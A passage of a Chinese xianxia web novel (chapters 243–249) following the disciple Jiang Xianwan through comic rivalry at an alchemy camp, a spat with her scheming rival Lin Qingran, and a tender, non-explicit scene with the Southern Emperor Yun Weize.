关键时候再掉链子,那可就罪过了。 明长老还是有点良心的。 当然,至于为何有良心……此事,不提也罢。 江献晚:“……我……” 不等她为自个证明,明长老用一种‘小兔崽子,你要不要看看你自个手里拿的是什么’的冷漠脸,瞅她。 动作看似优雅,实则用力。 将一把气味古怪的灵植从她手里……凶狠的抠了出来。 第 244 章 这里不让玩……呃 她还自带? 非得这么体贴吗? 明长老呵呵冷笑,表情冷的发指。 “你小师兄昨天第一锅炼的就是屎味丹!” “你觉得你是什么比他还好的人吗?” 这俩兔崽子现在一撅屁股,他不用睁眼,都能猜到他俩想拉什么屎! 总之,横竖都不会是什么好屎! 昨天他一眼没看住,林玉锦飞快颠出一锅屎味丹。 被他拿灵植狠狠抽了几下,才不情不愿,被迫捡起一点微弱的良心……很不服气的颠了半夜水果味的丹药。 林玉锦有些不乐意,嘴撅出二里地,“屎怎么了?有的吃就不错了!” “对吧小师妹?” 江献晚一点头,“对!能吃不就行了。” 在站的长老:“……”对什么对! 你俩怎么不吃? 他们就非吃这玩意儿吗? 不加那味灵植……会死吗? 他们宁愿死,都不想吃屎! 几个长老谴责而幽怨的小眼神,整齐划一朝明长老斜去。 瞅瞅你们家的邪祟,非要让我家弟子吃屎。 明长老,你好歹是长老,被俩崽子骑头上拉屎,也忒不行了吧? 男人最怕被说不行。 对此,明长老一手揪了林玉锦和江献晚一只耳朵,“小兔崽子!你们是长老,还是我是长老!” “你俩可真行!要不要这个长老让给你们来当算了!啊?” 江献晚和三个师兄立刻异口同声,“也不是不行!” 后浪推前浪,前浪也该死在沙滩上了。 江献晚:“苏长老!恭喜恭喜!” 林玉锦:“白长老!同喜同喜!” 苏清流:“江长老!同喜同喜!” 白子夜:“林长老,同喜同喜!” 明长老:“……?”他就这么退了? 深吸一口气,中气十足。 “滚!别逼我扇你们!” “昨晚那锅屎你们留着自个吃!” “这里不让玩屎!” “更不许强迫别人吃屎!” 林轻染:“……” 其他默默无言的五宗长老:“……” 说句实在话,你要不要看看你自个先? 也不知道是谁,刚到的第一天,就意气风发炼出一炉屎味丹! 其他五宗弟子,腿儿还没迈进虚古境,回灵丹还没塞嘴里。 突然集体抽搐着,倒在了虚古境入口,口吐白沫。 他们还以为底下的邪灵跑出来了,他们亲传直接原地一个团灭! 谁知道,是被明长老给团灭了。 苏清流三个:“……” 别说。 他们太虚宗的风评跟口碑,真的……就挺权威。 江献晚:“……” 暂且不说什么风评跟口碑。 她很有必要怀疑,若不是丹关大事,明长老肯定自个先开开心心炼出一炉屎味丹。 毕竟,他刚才每一次提到那个“屎”字,就像触发了什么机关。 脸上都忍不住流露出了一种……被限制发挥、无法证明自个魅力的深深惋惜。 李微云他们几个太草峰的亲传,现在不管炼什么丹,都得特意添上点屎味。 也正是因为这些亲传们的勤劳跟努力,太虚宗独家特制小药丸,在两境三域迅速一炮走红。 这事,明长老至少得是默许。 恐怕,背后还少不了他的……大力支持。 江献晚默默抄起锅……和自个为数不多的良心。 为了其他宗弟子的生命安全,也为了挽回一点点他们太虚宗臭名昭著的刻板形象。 来点什么水蜜桃、葡萄、西瓜、芒果之类的叭。 看着来到身边,颠起锅的江献晚,林轻染没办法装作看不到。 挣扎半晌,僵硬着手,放下一株灵植。 忍着胃里剧烈的翻滚,勉强挤出一个微笑。 “江师妹。” 江献晚:“……” 她没事吧? 被栽进屎盆子里,还能这么若无其事的主动凑上来。 她为什么想不开? 她怎么就想不开? 江献晚一时不知林轻染到底是想开了,还是……想开了。 这事要是搁她身上,反正……她绝对想不开! 想到林轻染被栽进屎盆子的那幕,江献晚忍不住将锅往左默默挪了两米。 苏清流三个大步一跨,跟着往左连迈两步。 江献晚这才道:“噢。” 林轻染:“……” 望着颇为眼熟的一幕,林轻染身子又是一晃。 又恨又怕的同时,还有……一种想要吐出来的冲动! 江献晚分明是在嫌弃她! 刚才故意想炼什么屎味丹,也是在暗讽她吃屎! 顶着一双扭曲而狰狞的视线,江献晚四个,没一个分给她多余的眼神。 明长老倒是瞅了林轻染一眼。 这瘟大灾的,又合计什么呢? 一脚踹向万古宗那位长老,拿眼刀子示意他看,眯眼无声冷笑:瞅瞅你家扫把星那双恨不得吃了我家崽子的眼珠子! 万古宗长老:“……”无助闭眼。 怪他吗? 他不想管的吗? 他管的了吗? 她都差点把他家掌门给吃了! 其他两个北境长老,默默垂下脑袋。 默契的装作……什么都没感觉出来。 自玄古大赛,这俩互爆马甲,抖出对方炉鼎体质,搞的两境关系一度达到一种空前绝后的紧张。 六宗长老在虚古境这么一碰面。 明长老和南境其他两大宗两个长老,炼着丹,解剖着异兽,忙的跟个狗似的团团转。 就那样,都不忘指桑骂槐、含沙射影、夹枪带棒、不辞辛苦,来挤兑无辜遭受牵连的他们。 他们忙的身体累就算了,被怼的那是心里也累。 前来虚古境的南境各宗亲传,更是青出于蓝而胜于蓝。 一照面就朝人万古宗亲传……吐口水。 装都不装了。 死气还没把两境给搞垮,两境先擦出了至死方休的火花。 真的……毁灭吧。 这个*班,特么一天都不想上! 三个北境长老,各个身心疲惫。 双眼呆滞,麻木着脸,机械的捏起灵植,再机械的扔进炼丹炉。 浑身上下写着—— 搬砖中……勿扰。 沉默……无罪。 如果非要说他们有罪的话,苍天自会惩罚他们。 而不是叫南境这群骂人极脏的玩意儿,一天到晚来残害他们弱小的心灵。 林轻染:“……” 她被包围在一种尤为古怪的气氛中。 左一句屎,右一句屎。 还说什么吃屎。 吃了好几口屎的林轻染有些绷不住,眼看江献晚还想张嘴说什么,忽然摇晃着扶上了桌子,连连干呕了几下。 生怕再听到那个字,想也不想,猛地大声打断。 “听说你在妖域遇到了龙卷风,失踪了几日?” 第 245 章 战斗模式 江献晚沉默了一下,“是。” 又问。 “怎么了?” 她该不会是想当众告发她勾结妖域魔域,指认她这个害她泡屎盆子的凶手吧? 脸不要了? 应当不是。 林轻染压根没瞧见他们,就昏过去了。 魔后妖后的身份,她亦不会知晓。 风回雪到底怕出什么状况,没让妖域传出那些事情。 非翎亦是把魔域的嘴捂的严严实实。 月离那三个孩子,智商有时候虽短暂离线,不过,这仨肯定不说。 何未语他们,更不用担心。 江献晚倒无所谓。 瞒得了一时,瞒不了一世,这一天,总会来到的。 不过,能瞒着,她暂时还是不希望林轻染知晓江行行的身份。 那她提这做什么? 换个思路,来跟她培养感情呢? 林轻染:“……” 江献晚那是什么看傻子的表情? 她能怎么? 她就是不想听见那个字! 不行吗? 林轻染自然没傻到当众质问江献晚出现在界域,与那女色魔和黑蛟在一起,还冷漠无情的将她栽进屎盆子里。 她敢确定。 只要她敢提一个字,江献晚绝对会倒打一耙,说不定还会牵连系统。 系统是她的底牌,这些闷亏,她只能受着! 绝望的语气,飘忽着喃喃。 “没什么,平安就好。” 江献晚:“……?” 这个世界终于疯了? 江献晚眸光微微一动,突然冲她一笑,十分诚恳的关心道:“你呢?界域一行,可还顺利?” 她在屎盆子里种了多久? 腌入味了没有? 怎么把自个薅上来的? 还是系统给她薅上来的? 那……系统吐了没有? 林轻染……吃自助了没有? 诸多疑惑,江献晚看林轻染的眼神,一再璀璨……可以说是非常的迫切了。 系统:“……”多损啊。 江献晚真踏马不是个东西! 狗都不干的事,她干! 想到自个一边哇哇大吐,一边用力量把一个人形的屎棍子薅出来。 系统短暂的……再次抑郁。 它……脏了。 它……再也不干净了。 林轻染:“……”多冒昧啊。 她笑什么? 她到底在笑什么? 非得这么笑是吧? 她还是人吗? 顶着江献晚求知欲极强的目光,林轻染表情‘咔嚓’一下,苍白的粉碎。 捏着灵植的那只手,控制不住,进入高速震动模式。 没人知道她在黑森林醒来的那一刻,是多么的崩溃和无助。 她好不容易找到一条河流,刚往下一蹦,就被水底一只异兽,一个大耳刮子扇了出去! 等她终于将自己从头到脚清理干净,又发现身上还有许多可疑痕迹。 若不是后来系统终于肯吭声,告诉她真相,她以为自己真的被那些异兽给…… 既没有见到非翎,更错过了前往妖域,帮助风回雪夺得帝位的重要剧情。 等她着急忙慌赶到妖域边界,找到那处废旧的大阵,才发现那个足以摧毁整个妖都的阵法,已经被破坏掉了。 风回雪……水灵灵的登位了。 只打探到是狼太灰忽然反水倒戈,干倒了他老子。 还未来得及搞清楚来龙去脉,就被宗门召回,镇守虚古境。 林轻染又恨又怕又想吐,还不得不打落牙往肚子里咽。 勉强挤出一个快要哭出来的笑,“还算顺利。” 不知怎么想的,似乎习惯了在人前维持良善的模样。 心不在焉的脱口继续道:“倒是得知江师妹出了意外,忍不住担忧。” 苏清流三人:“……”啊? 几位长老:“……”哇? 系统:“……”真的,它都被她给干沉默了。 她要不要听听她在说些什么? 她那是担忧吗? 她那是嘴都笑烂了,还特么癫狂大笑一声,说苍天有眼! 江献晚只手将锅中水蜜桃味的回灵丹,倒入林玉锦掏出的大锅中,眼睫微抬,唇角的淡笑也敛了。 “林道友真是这么想的?” 毫无防备的发难,不仅刚回过神意识到自己说了什么的林轻染,在站的几位长老,都忍不住看向忽然翻脸的江献晚。 江献晚神色淡漠,微微偏头,眸光流动,唇角噙着……十二分的讥讽。 看的出来……她似乎启动了战斗模式。 万古宗长老抹了一把冷汗,默默往另一边,划拉开一步。 他家掌门私下对他们这些长老下了令,以后见到江献晚,不可无礼,不可忤逆。 否则…… 滚。 听听,忤逆俩字都整出来了,身份至少等同于他自个。 闻言,林轻染呼吸一滞,动作顿了半拍,脸色骤然变的极其难看。 她绝望于自己嘴咋那快,指尖死死深陷在掌心,许久,强行绷着表情,艰难的挤出几个字。 “江师妹此话何意?” 江献晚没憋好屁! 后者漫不经心颠了一下锅,嗤笑一声,“别紧张,就是有些意外林道友何时有这般好心了。” 话说,她真的装的不会累吗? 这一句,未免带着几分咄咄逼人,不识好歹。 几位长老神色有些古怪,又不得不装作耳朵已聋,眼睛已瞎,也不管是不是需要的灵植,库库一顿瞎找。 眼看自家长老连个屁都不敢放,林轻染只能咬碎牙,忍了。 一字一句咬着。 “江师妹,我是真的替你担心。”担心她死不了。 “哦?” “担心我怎么还不死?” 北境长老:“……”这就是江献晚的阅读理解么。 牛逼。 她要是舔一下自个的嘴巴,估计就是自杀。 明长老:“……”看得出,他家兔崽子开始上强度了。 南境天青宗和道明宗两个长老:“……”掌门所言非虚。 江献晚真的刻薄的很纯粹。 这辈子好想这么刻薄的活一次。 求教程。 林轻染:“……”心知肚明的事,你特么非要讲出来吗? 林轻染孤立无援,只能听从系统忽然发出的指令,避免与江献晚正面开撕。 表面修补一下。 最好能挽回一点自个丑陋的形象,少给它丢人! 林轻染:“……”她哪里丑陋了! 她六神无主,只能照做。 眼圈微微一红,有些哽咽,“江师妹还是在因上次的事生气吗?” 系统:“……” 系统又双叒叕嘶吼出声:“蠢货!我让你修补!没踏马让你拿自个的脸往上补!” 第 246 章 加戏 “我让你给她脸,不是让你又去踩她的脸!!!” 她脑子里灌屎了吗! 非得拿那件事修补!!! 系统哆嗦着软缩到角落,瘫成绝望的一片。 林轻染唇瓣跟着一哆嗦。 却听。 “生气啊。” 竖起耳朵的众人:“……” 这个回答让林轻染裂开的表情再次破碎。 又是绝望又是嫉恨,竟使得她眼眸顷刻涌出两行真情实感的眼泪。 带着哭腔,颤声道:“是我不对,江师妹恼我,也是应该。” 说着,似深知自己有错,深呼口气,款款一揖,放下身段。 “江师妹,那日之事终归是我错,无心之失却为你带来极大的困扰,我后来自觉不对,自请了八十戒鞭,只希望莫要伤了你我之间的姐妹情分。” 若不是怕雾渺先发制人来收拾她,她怎会自请三十戒鞭! 刚到宗门,她跪了一日的香,天色将黑,雾渺亲手执鞭,上来就抽了她整整八十鞭! 抽完又来搜她识海! 可现在,她却亲手揭开了自己的伤疤。 此话一出,除去南境和万古宗长老,北境其他两位长老,脸色不由缓和几分。 知错能改,善莫大焉。 她也是无心之失。 这不也诚恳道歉,回头关心人家了吗? 万古宗长老拧了拧眉。 拉倒吧! 那八十鞭是她自个请的吗? 那是他们家掌门一下云舟,二话不说,罚了她去跪香。 自个特意进了一趟琼华阁,找了条最趁手最好使的戒鞭,将她捆在醒神柱上抽的。 本来想凑个整,中间其他长老有事上禀,这才只抽了八十鞭。 林玉锦白眼都快翻天上去了,丝毫不惯着她。 “你一句无心之失,害的黑市把我小师妹的大名贴了满墙,怎么,我们还要好好谢谢你吗?” “谁又跟你姐妹情分?我小师妹可没什么姐姐妹妹!” 白子夜冷声嗤笑,“你自个有本事挨八十鞭,说到底还不是因为你自个嘴贱?听你这话的意思,怪我小师妹了?” 苏清流唇线微压,眼角下的泪痣都沾染几分冷色,“不会说话,嘴别要了。” 世炉鼎一出,黑市一夜之间,出现不少有关江献晚的悬赏告示。 她一句无心之失,就想轻飘飘的将自个给摘了? 林轻染微哽。 此刻真真是崩溃的止不住泪。 压着心头的恨意,只能无助的摇着头,哭着解释,“我不是这个意思。” “我没有怪江师妹的意思。” 明长老皱了皱眉。 如果装委屈跟哭有用,那还要警察干嘛? 他家兔崽子都没哭,她现在哭的活似自个才是被欺负的那个,又是几个意思? 明长老呵呵冷笑,一卷衣袖,开启护犊子模式。 “林师侄的无心之失,倒是让我南境横起一场动乱。” 绝世炉鼎,千年难遇,众修趋之若鹜,可想而知,江献晚成了人魔妖眼中的肥肉。 琉璃玉骨一出,暗潮涌动,他家一同随行的剑尊和帝尊,暗中恐怕不知挡下多少人魔妖的窥伺。 在江献晚他们一行人还未从虚古境归来时,留守的长老弟子,几乎倾巢而动。 将南境所有黑市,用拳头整顿了一遍。 但凡查出贴告示的人是谁,追杀令直接发出,顺手清理不少旁门左道的邪修。 杀的南境所有黑市短短一日,再无一张关于江献晚的告示。 明长老的态度,显然代表着太虚宗的态度。 更是凤仪剑尊与南帝尊的意思。 天青宗和道华宗两个长老,自然向着自家南境。 天青宗长老轻叹一声,“还真是人在家中坐锅从天上来,林师侄,我们家晚晚都没说啥,你就莫要在这里哭了。” 哭哭哭,就知道哭! 难怪万古宗一而再再而三的衰,肯定是福气都被她给哭没的! 道明宗长老像是突然想起什么一样,“你引了劫雷一事,是不是还没道歉?江献晚都不怪你,你还有什么好哭的,偷着乐吧你!” 就搞笑。 江献晚一滴泪都没掉,她自个搁这是想把虚古境的灵塔哭倒? 林轻染:“……” 黑市也有许多她的悬赏啊! 她说什么了! 江献晚不也引了劫雷吗! 听听他们说的是人话吗? 可万古宗和雾渺并未表态,亦未做出任何举措,对比太虚宗,高见立下。 林轻染被怼的哑口无言,北境其他两位长老幡然醒悟,面皮刷地红透,闷着头,盯着灵植死命看。 万古宗长老眉头一皱,不悦的斜瞥向林轻染,终是压着心中的厌恶没吭声。 掌门与宗门为何不护她,她自己心里没点数吗? 林轻染泪都不敢再掉落,生生卡在眼眶之中。 江献晚面无表情,最后再给她一痛击。 “我建议你,换个地方哭。” 主要,她怕他们南境的长老再说下去,林轻染会破防。 她一破防,再搞出什么事。 林玉锦和白子夜噗嗤笑出了声。 林轻染逃也似的转身,哭着跑向万古宗驻地。 明长老显然没玩够。 怜爱的摸了摸江献晚的脑瓜,故意对着北境仨长老,再来一击。 痛惜不已。 “可怜我的师侄,险些道心不稳。” 江献晚:“……”加戏是吧? 道心不稳对修士来说可是致命问题,轻者走火入魔,重者就像帝隐。 既然如此。 那……加吧。 江献晚扯了扯唇角,拉出一个充满苦涩的弧度,“明长老,您别说了。” 身子又轻轻一晃。 “我只是不明白……不明白她为何单单对我这么大的敌意。” “我也想和她好好相处的……只是……只是……” 北境长老被她只是的,羞愧的低下了头。 万古宗长老再也受不了,大声激动道:“这都是她的错,不关你事!” “你不用管她!我支持你!” 江献晚怎么可能会错。 他这个长老错,她都不会错! 江献晚无言,默默再加一击。 咬着唇,半是失魂落魄,半是黯然神伤……转身离去。 苏清流他们立刻兴冲冲的加了把戏,一脸忧心如焚、惴惴不安的追上。 林玉锦不忘伸出一只抖成琴弦的尔康手,哭天抹泪,整上一句—— “呜呜呜……小师妹恐怕又要哭了……” 北境长老:“……”好想给自己一巴掌! 林轻染最少降龙十八掌! 效果达到,完美。 江献晚拔腿奔向太虚宗驻地,怕跑慢一秒,都演不下去。 她跑的太快,没能及时刹住脚,一头扎进了刚推开门,从屋内出来的云为泽怀中。 正欢天喜地,宛如蝶逐花,追在自家小师妹屁股后面的三个少年,脚步一止。 陷入诡异的沉思。 第 247 章 什么深意 那只扶在腰侧的手极稳,视野模糊中,江献晚本能的抓着掌心下顺滑的衣料,借力站直身。 左看,右看,往下看,视线闪躲,就是不看云为泽。 说真的,她也不知道为什么。 明明妖域临行前一日,她与云为泽之间还很是轻松。 可能…… 暂且不说什么可能。 她当然察觉到了云为泽近日在信道中的反应很是不对,后来更是再没说过一句话。 不论非翎如何好奇的艾特他,或故意拿他逗乐子,南帝尊自岿然不动。 线都不带上的。 加之花美人祝她平安,江献晚可以确定,云为泽近日的心情,有可能出了很大的问题。 有昨晚帝隐一见她,道心险些碎掉的例子在先,江献晚这会儿说不上为什么,不太想面对云为泽。 于是乎,脚偷偷摸摸往右挪了步。 那垂坠感极佳,宛如沉凝夜色的一片衣裳,细微的一晃。 云为泽往左。 江献晚:“……” 云为泽有可能是想从她右侧过去。 江献晚立刻往左挪了两大步,恭敬的垂着脑袋,“帝尊,请。” 墨色的袍角无声拂过地面,清冽的檀息,又是轻微的一动。 云为泽往右。 江献晚:“……” 她垂着脑瓜,微微伸出的一只手,保持着让路的姿势。 不知过了多久,那悬垂飘动,有暗纹在光影下流转的衣料,仍没有半分撤开的举动。 衣袍如墨痕初绽于素绢之上,时而卷起,时而舒展。 竟似墨迹干涸,人依旧凝然不动。 正在此时,几个精疲力尽的亲传,勾肩搭背从虚古境出来。 立时,一种突然吃到大瓜的嗷嗷兴奋低呼,犹如浪潮破闸般,朝面对面站立的二人……奔涌而来。 乍一听,皆是相熟的小伙伴。 江献晚勉强压住抽搐的眉尖,嗖地一下立正身子。 目不斜视,抬步错开,拔腿就跑。 然,她跑了个寂寞。 后颈一紧,衣领被一只修瘦的手拎起,身子跟着晃悠悠的转过去。 双脚悬空,表情空白,眼底倒映着的是,南帝尊同样面无表情的面容。 江献晚缩了一下指尖,想要缓和气氛的话,咽回肚中。 实在是,云为泽的表情看起来太过于平淡。 平淡的给她一种……像要如帝隐般崩碎的苍白。 银砾失色,胭脂褪成苍雪。 江献晚突然一愣,眼中原本微妙的神色消散。 取而代之的是难以言说,称得上矛盾而无措的浅薄缭乱。 她怔怔的看着那双眸子,本该是映照金轮玉鉴的潋滟,如今没有任何情绪,空茫的近乎空白。 像是剥离了七情六欲,只余一片枯寂的空壳。 华美、易碎,仿佛一尊失了魂的精美瓷器。 永堕夜色。 江献晚微怔。 “帝尊?” 他在透过她的眼睛看什么? 云为泽为什么不笑! 风声与张牙舞爪的八卦声,一时皆在她耳中止了。 江献晚指尖微动,下意识想触摸他的体温。 云为泽眼睫极其缓慢的颤动一下,忽儿将她缓缓提起一些。 指缝穿过绸缎似光滑的乌发,无意识转攀上了他的脖颈。 “卧……槽!” 林玉锦微微弓身,像被人凭空捣了一拳,痛心疾首地捂上心口,苏清流和白子夜倒吸一口凉气,原地崩殂。 莫说那些嗷若疯狗的小伙伴,几个长老眼睛瞪的像铜铃,就好似被什么东西用力电了好几下,看的一抖又一抖的。 江献晚却愣了。 两条小臂缓缓垂落。 提拎她的男子更像是凝固了。 既不笑,亦不怒,神情未曾有半分改变。 何未语一群原地蹲下,咔咔嗑起瓜子的小伙伴,嗷的更疯了。 “卧槽……江献晚抱了帝尊!” “啊啊啊啊啊!他俩就这么水灵灵抱、上、了?!” “话说帝尊抱起来是什么感觉啊!” “该说不说!帝尊他是真给江献晚抱啊!” 玄古大赛,凤仪剑尊他们隐在云中的云舟之中,根本无法窥其面容。 何未语和修言他们也都是第一次见到南帝尊的庐山真面目。 传说中,他们南境的帝尊居住在云阶月地的敛浮台,连太虚宗掌门长老常年都见不到一面。 没想到头一回见,竟是这样令人精神为之一振再振的一幕。 何未语双手捧脸,激动的快要晕过去,“我就知道!我站对了!!!” 修言:“这和两口子见面有什么区别?她还真是期待更多个啊,把咱家帝尊都给泡了!” “江献晚是真饿啊。” 秦秦一手持剑,怔忪的立在原地。 那色绝若美玉的男子,在视线中,与那晚在江献晚院中见到的男人,重叠。 秦秦缓缓垂了眼帘。 江献晚仰着脸,瞧着南帝尊淡的快要散开的神色,踌躇片刻,试探道:“帝尊,弟子喘不上气了。” 云为泽似乎也看了太久,久到指尖耗尽力气一般,将她放下,墨袖逶逶曳地。 他不语,江献晚只好努力找话。 “您醒了?” 后者似乎看了她一眼,又似乎没看。 眉尖低蹙,声音轻浅,细风一吹,便散去。 “荔枝。” 江献晚抿了一下唇,端出一大盆冰荔枝。 云为泽杵在原地没动,更没接。 睫毛墨黑纤长,微垂着眼帘,不动,亦未看。 似乎他都不知自己在说什么,又在做什么。 江献晚久久举着那盆荔枝,目光凝聚,努力穿透他的表情。 他是因为非翎那些话不开心,还是最近太累太疲惫。 又或者…… 江献晚心绪百转。 那反常的可怕的帝尊忽然敛袖转身,只叫人捕捉到一点暗夜星河中流淌的碎金袍角。 她保持着递盆的姿势,望着重新闭合的门,久久没能回神。 林玉锦看不得自家小师妹无措似的可怜样,走过来拍拍她的肩。 轻声叹息提醒。 “有没有一种可能,这个荔枝,还有另一层深意?” 他突然觉得这个世界好可怕。 一时间,不仅雾掌门想死,他家帝尊看着也想死了。 不过。 他小师妹更可怜。 哄罢这个,哄那个。 偏偏面对某个,自个又有些不确定,该以什么样的身份和姿态去哄。 “什么深意?” 江献晚用一种‘小师兄,你什么时候这么聪明了’和‘我怎么没听出来’的震惊表情看他。 看着自家小师妹故作无事发生的自欺欺人模样,苏清流在盆中捡了几颗荔枝,摸了摸她的脑瓜,默默离开。 第 248 章 本该如此 白子夜和林玉锦也抓了一把,摸了摸她的脑瓜,跟着离开。 小师妹,或许需要安静一下。 端着盆的江献晚:“……” 什么深意,你倒是说啊小师兄! 江献晚垂下睫帘,捡了颗荔枝,放在唇边嘎嘣一咬。 缓缓抬腿儿,回到自己的房间……准备安静一下。 她环视连一把椅子都没有的简陋卧室,将芥子囊中的大床摆了出来。 心不在焉的状态下,没发现那块正在小声骂骂咧咧,努力修补着一把破剑的墓碑,被她翻进了一堆灵石中。 墓碑:“……” 江献晚又在床榻边摆了一张小桌子,将盛着荔枝的盆一放,整个人跌入厚软的被褥。 她半张脸埋在枕头上,有些失神,看也不看,摸摸索索去摸盆里的荔枝。 她……摸到了一只温热的手。 江献晚动作一止,扭头,纠结而复杂的目光还来不及消散。 “帝尊?” 所以,云为泽到底是不是因为非翎的那些话,才会这样? 她又要如何说,又说些什么…… 江献晚精神飘忽,见他拧着眉,安静的站着,似乎想坐,又没有地方坐。 出于本能,不假思索摆出一张软榻,胡乱一捞。 “坐。” 算了。 不管怎么哄,哄一下,总不会有错吧。 云为泽垂着睫毛,敛着及地广袖,将自己窝了进去。 江献晚:“……” 望着床榻正面,距离不过一臂,面朝她的男子,江献晚慢慢绷直腰身。 眼瞅着南帝尊不言不语,只轻落着半扇眼帘,似乎一心一意,注意力都放在了剥荔枝上。 江献晚只觉有点乱的心情……更乱了。 唇瓣一张,试探轻唤。 “云为泽?” 那剥着荔枝皮的修长指骨微顿,云为泽抬眸。 视线绞然相撞。 “嗯。” 应过这么一声,又垂下眼帘,继续剥。 江献晚:“……” 眼看他剥了许久都没剥完一整颗荔枝,面色又似乎因灵力不济,没有休息好,略显苍白。 江献晚双腿一垂,拿过他手中的荔枝,犹豫开口。 “不开心?” 云为泽大袖垂覆,双手搁在膝头,像是终于听清她的声音,视线缓缓上移,安静的落在她指尖莹白的果肉。 “嗯。” 江献晚举起的荔枝肉悬停在空气中,沉默几秒,“哪里不开心?” 南帝尊不语,懒倦的垂下睫毛,也不接荔枝。 空白的眸光凝定不知何处,又仿佛虚无。 浑身上下,写满……不开心。 江献晚默默撤回手,将荔枝塞进自己口中。 却发现……周遭的光线登时被一种窒息的寂灭吞噬。 那墨衣墨发,安静坐着的男子,眼尾一点点耷垂,整个人仿佛置身宇宙洪荒的寂流。 江献晚霎时一怔,随即低下头去。 她哪里见过这样的云为泽,又剥了一颗,准备给他。 却发现,云为泽双手交落在腹部,睫毛无精打采的垂下,呼吸平缓,倦倦的睡着了。 江献晚:“……” 到了此时,她很能确定,云为泽不正常。 至于为什么不正常…… 江献晚犹豫一会儿,轻手轻脚拿起床上的薄被,搭在他身上。 方要直起身,屁股一疼,被一股力抽的身子前倾,就要栽云为泽身上。 来不及看是谁偷袭,反射性高难度的拧身,倒在窄小的空隙。 幸好软榻还算宽敞。 幸好云为泽没醒。 江献晚手中刹那间蓄起一团灵力,凶狠的回眸。 这么一看,眸光不由掠过一丝惊讶。 一柄通体墨黑,宛如沉水古玉的长剑,剑鞘黑色花萼明纹绽放极致,向尖端延展,直贯首尾。 流影游走,却并不张扬,至近尖处,悄然收束,在尘世投下惊鸿一瞥。 此时,正…… 居高临下,睥睨她。 屁股上火辣辣的痛感犹在,江献晚眉尖一挑,轻轻支起身,五指快如闪电抓去。 世间有一剑,名为三千念。 三千念轻震一下,不慌不忙,流泻出一道如荧剑芒。 绕开江献晚的手,直奔其眉心。 随即欢天喜地的抖了抖剑身。 这不就搞定了! 一缕淡淡的灵泽之露气息扑面而来,江献晚只觉浑身一麻,眼皮一重,起了半边的身子,跌了回去。 她用一种极为震惊的眼神瞪着那把洋洋得意的剑,昏过去的刹那,脑中浮出好几个念头。 好歹是帝尊灵剑,真特么贱! 能把云为泽砸醒吗? 她就这么水灵灵的拿自个哄上了? 这法子……成吗? 江献晚抓狂中麻溜的昏死过去,云为泽没醒,眉心轻蹙,侧了身。 三千念这会儿,心情可谓是通畅,愉悦地在两人头顶呼啸着旋了好几圈。 剑尖下压,又轻轻挑了江献晚的一条胳膊,搭在云为泽腰腹上。 深藏功与名,化作一抹流光,心满意足地没入云为泽眉心。 等着偷乐吧您。 —— 云为泽破天荒做了一个梦。 记不清多久没有做过梦了,神识陷入一片黑暗,却又从未有过的安宁。 淡而熟悉的香味萦绕鼻尖,娇软的温热源源不断慰藉着干涸的灵魂。 他几乎是极度依赖,充满占有欲的收紧手臂,环箍了怀中的热源。 逆死而生般,屈服于身体的本能反应,将其失控的束缚,下颌轻蹭。 只是。 他蹭了两下,觉得不对,纤长浓密的睫羽剧烈几颤,猛然掀开。 空寂荒原的双眸,就在这一刹那,带起一串清越如碎玉、近乎毁灭性冲击力的崩裂。 云为泽忘记了呼吸,瞳孔急剧收缩,又倏然放大,震颤如簧片的眸光之中,倒映出那张秾滟的面容。 他紧紧绞着那张前一秒还出现在他梦中,后一秒偎在他怀中的江献晚。 眼神从涣散到聚焦,复又涣散,循环往复。 直至寸寸龟裂,全然土崩瓦解。 他翕和了好几下眸,甚至以为自己依旧处于一场美好的梦寐之中。 江献晚睡的香甜,半张面颊枕在他颈窝,两把小扇子似的睫毛,软软垂着,青丝落满他的肩头。 小臂横沉在他腰腹间,全然放松的睡颜,毫无防备,如同最内层的一瓣海棠,偎着月光。 与他极尽了缠绵,拥在一起。 仿佛……本该如此。 第 249 章 都哄好了? 云为泽久久怔愣,更让他战栗的是,屋内凭空出现的花萼,花瓣舒展极致,疯癫掉一般。 一片又一片失控的疯长,似乎要塞满整个房间。 其中几枚,人一样,充满依恋的纷纷探出一片花瓣,顺着软榻一路从江献晚的脚踝,攀了上来。 云为泽懵了。 又怕吵醒江献晚。 颤抖的指尖,慌忙一掐,一掐,又一掐。 啪——! 一声。 崩溃而粗鲁的将那几枚攀上江献晚腰身的花萼,重重拍了下去。 几枚跌入花海的花儿:…… 他礼貌吗…… 显然。 云为泽快碎了。 眸光涣散凌乱,还有一种天塌地陷的茫然。 眼睁睁看着他那疯长如浪潮的花,疯了一样挤满四周,且风骚的摇曳生姿。 睫毛一颤,一颤,又一颤。 真的。 他从来不知道自个这么能开花。 开的他崩溃。 开的他窒息。 开的他害怕。 云为泽已然意识到,怀中柔软的触感,不是梦。 亦不会消失。 面庞仍空白着。 横在那截细软腰身的手臂,因过度紧张,绷出充满力量的清晰线条,内心更是一遍遍崩塌与重塑。 许久,似依旧不信,又或者自欺欺人,激越的眸光带着千钧之力,死死锁定了怀中之人。 想抬手,确认什么,指尖稍稍一动,便又不知所措的定格。 江献晚很软。 也很暖。 呼吸清浅绵长,一缕乌檀般的青丝,淌过微微松敞的衣缘,延伸出令人屏息的滟痕。 那质地轻薄如雾的青衣,此刻服帖的勾勒着她的轮廓,凝脂般陷在他怀中。 随着呼吸的韵律,悄然舒展出淋漓尽致的躯体线条。 云为泽又是茫然,又是仓惶,无意识咬着唇肉,竭力放慢呼吸,不敢有大动作。 以至于根本无从思考,江献晚为何与他睡在一处。 时间不知流逝几何。 或许,短短一刻。 又或许,很久很久。 指尖若无其事,游移半晌。 最终,轻而颤,触在江献晚的面颊上。 戳出浅浅的梨涡。 那顷刻融化在指尖的柔腻,蜇的他指尖一颤,花萼也随他战栗。 这一刻,被蜇的再清醒不过的南帝尊狼狈极了。 他看了一下自己的指尖,三秒后……神色倏地一变。 只觉自个要原地崩殂。 而他的花儿……还在风骚的摇曳、自展美色。 云为泽不忍直视,用力闭了一下眼。 迫使自己压下怦怦狂跳的心神,手臂脱力一松,放开那截细软的腰身。 看着另一条垫在江献晚颈下的手臂,深几个急促呼吸,用力一咬唇瓣。 做贼般,动作轻而快,几乎是火急火燎,抽出自己的胳膊。 而后…… 逃也似的,七手八脚下了软榻。 并…… 原地胡乱踩踢了好几下。 将他的花儿踩的……硬生生缩了回去。 自个……一阵风……刮出房间。 —— 江献晚是被林玉锦喊醒的,面无表情看了软榻十秒,推门走了出去。 此刻,天穹边薄薄的霞光悄然酝酿,飞鸟驮着碎金掠过,六宗轮值的弟子纷纷进入虚古境。 长老们依旧在草地上,不厌其烦的炼丹、试药。 